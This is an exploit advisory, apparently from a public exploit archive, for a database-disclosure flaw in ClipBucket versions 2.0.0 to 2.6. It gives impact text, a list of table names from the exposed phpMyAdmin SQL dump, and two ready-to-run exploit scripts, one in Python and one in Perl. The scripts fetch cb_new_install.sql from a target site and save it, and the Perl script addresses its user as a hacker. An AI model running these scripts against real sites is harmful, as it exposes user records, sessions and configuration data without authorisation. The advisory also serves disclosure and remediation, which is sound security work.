###########################################################################
# Exploit Title : ClipBucket 2.6 Database Disclosure
# Author [ Discovered By ] : KingSkrupellos
# Team : Cyberizm Digital Security Army
# Date : 04/04/2019
# Vendor Homepage : clipbucket.com
# Software Download Link : github.com/arslancb/clipbucket/archive/master.zip
# Software Information Link : clipbucket.com/index.php?mode=view_guide&action=13
github.com/arslancb/clipbucket
# Software Affected Versions : From 2.0.0 to 2.6
# Tested On : Windows and Linux
# Category : WebApps
# Exploit Risk : Medium
# Vulnerability Type :
CWE-200 [ Information Exposure ]
CWE-538 [ File and Directory Information Exposure ]
# PacketStormSecurity : packetstormsecurity.com/files/authors/13968
# CXSecurity : cxsecurity.com/author/KingSkrupellos/1/
# Exploit4Arab : exploit4arab.org/author/351/KingSkrupellos
# Acunetix Reference Link About => [ phpMyAdmin SQL Dump File ]
acunetix.com/vulnerabilities/web/phpmyadmin-sql-dump/
# Acunetix Reference Link About : [ Possible Database Backup File ]
acunetix.com/vulnerabilities/web/possible-database-backup/
###########################################################################
# Description about Software :
***************************
ClipBucket - An Open Source Video and Media Management Solution for Everyone.
A Video Sharing / Video On Demand (VOD) solution for sharing videos.
Includes features like HLS, Adoptive streaming. Playlists, mobile video upload and playback,
HTML5 Player, Pay Per View, Advertising and many more. Version 4.1, PHP 7.0, MySql 5.7.
ClipBucket is an Open Source and freely downloadable PHP script that will let you start your own
Video Sharing website (YouTube Clone) in a matter of minutes.
ClipBucket is the fastest growing video script with the most advanced video sharing and social features.
With ClipBucket, you will have almost all social media features in your hand.
You can let your users create groups, playlists, collections and much more.
They can send friend requests and private messages to each other as well.
You can start a fully dedicated video sharing website or photo sharing websites
and also both at the same time as well. Open source video sharing website script,
Tune.pk clone, Youtube clone, dailymotion clone. PHP.
###########################################################################
# Impact :
***********
* The product stores sensitive information in files or directories that are accessible
to actors outside of the intended control sphere.
* An information exposure is the intentional or unintentional disclosure of information
to an actor that is not explicitly authorized to have access to that information.
* phpMyAdmin is a free software tool written in PHP, intended to handle the administration of
MySQL over the World Wide Web. It can be used to dump a database or a collection of
databases for backup or transfer to another SQL server (not necessarily a MySQL server).
The dump typically contains SQL statements to create the table, populate it, or both.
This file contains an phpMyAdmin SQL dump. This information is highly sensitive and
should not be found on a production system.
* It looks like this file contains a database backup/dump.
Acunetix inferred this filename from the domain name. A database backup contains a record of the
table structure and/or the data from a database and is usually in the form of a list of SQL statements.
A database backup is most often used for backing up a database so that its contents can be restored
in the event of data loss. This information is highly sensitive and should never be found on a production system.
Remediation : Sensitive files such as database backups should never be stored in a directory that is accessible
to the web server. As a workaround, you could restrict access to this file.
###########################################################################
Significant Files :
******************
2.0.0~2.0.1.txt / 2.0.1~2.0.2.sql / 2.0.2~2.0.3.sql / 2.0.3~2.0.4 notes.txt / 2.0.3~2.0.4.sql
2.0.4~2.0.5.txt / 2.0.5~2.0.6.txt / 2.0.6~2.0.7.txt / 2.0.7~2.0.8.txt / 2.0.91~2.1.txt - 2.1~2.1.1.txt
2.2~2.3.txt / 2.4~2.4.5.txt / 2.5~2.5.1.txt / 2.5.1~2.6.txt - collections.txt
groups.sql / newPhrases.txt / upgrade.sql
###########################################################################
# /cb_new_install.sql
-- $Id$
-- phpMyAdmin SQL Dump
-- version 3.2.0.1
-- phpmyadmin.net
--
-- Host: localhost
-- Server version: 5.1.36
-- PHP Version: 5.3.0
-- Database: `svn_clean`
-- Table structure for table `action_log`
-- Dumping data for table `action_log`
-- Table structure for table `ads_data`
-- Dumping data for table `ads_data`
-- Table structure for table `ads_placements`
-- Dumping data for table `ads_placements`
-- Table structure for table `cb_global_announcement`
-- Dumping data for table `cb_global_announcement`
-- Table structure for table `comments`
-- Dumping data for table `comments`
-- Table structure for table `config`
-- Dumping data for table `config`
-- Table structure for table `contacts`
-- Dumping data for table `contacts`
-- Table structure for table `conversion_queue`
-- Dumping data for table `conversion_queue`
-- Table structure for table `countries`
-- Dumping data for table `countries`
-- Table structure for table `custom_fields`
-- Dumping data for table `custom_fields`
-- Table structure for table `editors_picks`
-- Dumping data for table `editors_picks`
-- Table structure for table `email_settings`
-- Dumping data for table `email_settings`
-- Table structure for table `email_templates`
-- Dumping data for table `email_templates`
-- Table structure for table `favorites`
-- Dumping data for table `favorites`
-- Table structure for table `flagged_videos`
-- Table structure for table `flags`
-- Dumping data for table `flags`
-- Table structure for table `groups`
-- Dumping data for table `groups`
-- Table structure for table `group_invitations`
-- Dumping data for table `group_invitations`
-- Table structure for table `group_members`
-- Dumping data for table `group_members`
-- Table structure for table `group_posts`
-- Dumping data for table `group_posts`
-- Table structure for table `group_topics`
-- Dumping data for table `group_topics`
-- Table structure for table `group_videos`
-- Dumping data for table `group_videos`
-- Table structure for table `languages`
-- Dumping data for table `languages`
-- Table structure for table `messages`
-- Dumping data for table `messages`
-- Table structure for table `modules`
-- Dumping data for table `modules`
-- Table structure for table `phrases`
-- Dumping data for table `phrases`
-- Table structure for table `players`
-- Dumping data for table `players`
-- Table structure for table `player_skins`
-- Dumping data for table `player_skins`
-- Table structure for table `plugins`
-- Dumping data for table `plugins`
-- Table structure for table `plugin_config`
-- Dumping data for table `plugin_config`
-- Table structure for table `sessions`
-- Dumping data for table `sessions`
-- Table structure for table `stats`
-- Dumping data for table `stats`
-- Table structure for table `subscriptions`
-- Dumping data for table `subscriptions`
-- Table structure for table `template`
-- Dumping data for table `template`
-- Table structure for table `users`
-- Dumping data for table `users`
-- Table structure for table `user_levels`
-- Dumping data for table `user_levels`
-- Table structure for table `user_levels_permissions`
-- Dumping data for table `user_levels_permissions`
-- Table structure for table `user_permissions`
-- Dumping data for table `user_permissions`
-- Table structure for table `user_permission_types`
-- Dumping data for table `user_permission_types`
-- Table structure for table `user_profile`
-- Dumping data for table `user_profile`
-- Table structure for table `validation_re`
-- Dumping data for table `validation_re`
-- Table structure for table `video`
-- Dumping data for table `video`
-- Table structure for table `video_categories
-- Dumping data for table `video_categories`
-- Table structure for table `video_favourites`
-- Dumping data for table `video_favourites`
-- Table structure for table `video_files`
-- Dumping data for table `video_files`
###########################################################################
# /cb_photos.sql
-- phpMyAdmin SQL Dump
-- version 3.2.0.1
-- phpmyadmin.net
--
-- Host: localhost
-- Server version: 5.1.36
-- PHP Version: 5.3.0
-- Database: `clipbucket_svn`
-- Table structure for table `cb_photos`
-- Dumping data for table `cb_photos`
###########################################################################
# Database Disclosure Information Exposure Python Exploiter 1 :
********************************************************
#!/usr/bin/python
import string
import re
from urllib2 import Request, urlopen
disc = "/cb_new_install.sql"
url = raw_input ("URL: ")
req = Request(url+disc)
rta = urlopen(req)
print "Result"
html = rta.read()
rdo = str(re.findall("resources.*=*", html))
print rdo
exit
###########################################################################
# Database Disclosure Information Exposure Perl Exploiter 2 :
*****************************************************
#!/usr/bin/perl -w
# Author : KingSkrupellos
# Team : Cyberizm Digital Security Army
use LWP::Simple;
use LWP::UserAgent;
system('cls');
system('ClipBucket 2.6 Database Disclosure');
system('color a');
if(@ARGV < 2)
{
print "[-]How To Use\n\n";
&help; exit();
}
sub help()
{
print "[+] usage1 : perl $0 site.com /path/ \n";
print "[+] usage2 : perl $0 localhost / \n";
}
($TargetIP, $path, $File,) = @ARGV;
$File="cb_new_install.sql";
my $url = "http://" . $TargetIP . $path . $File;
print "\n Wait Please Dear Hacker!!! \n\n";
my $useragent = LWP::UserAgent->new();
my $request = $useragent->get($url,":content_file" => "D:/cb_new_install.sql");
if ($request->is_success)
{
print "[+] $url Exploited!\n\n";
print "[+] Database saved to D:/cb_new_install.sql\n";
exit();
}
else
{
print "[!] Exploiting $url Failed !\n[!] ".$request->status_line."\n";
exit();
}
###########################################################################
# Discovered By KingSkrupellos from Cyberizm.Org Digital Security Team
###########################################################################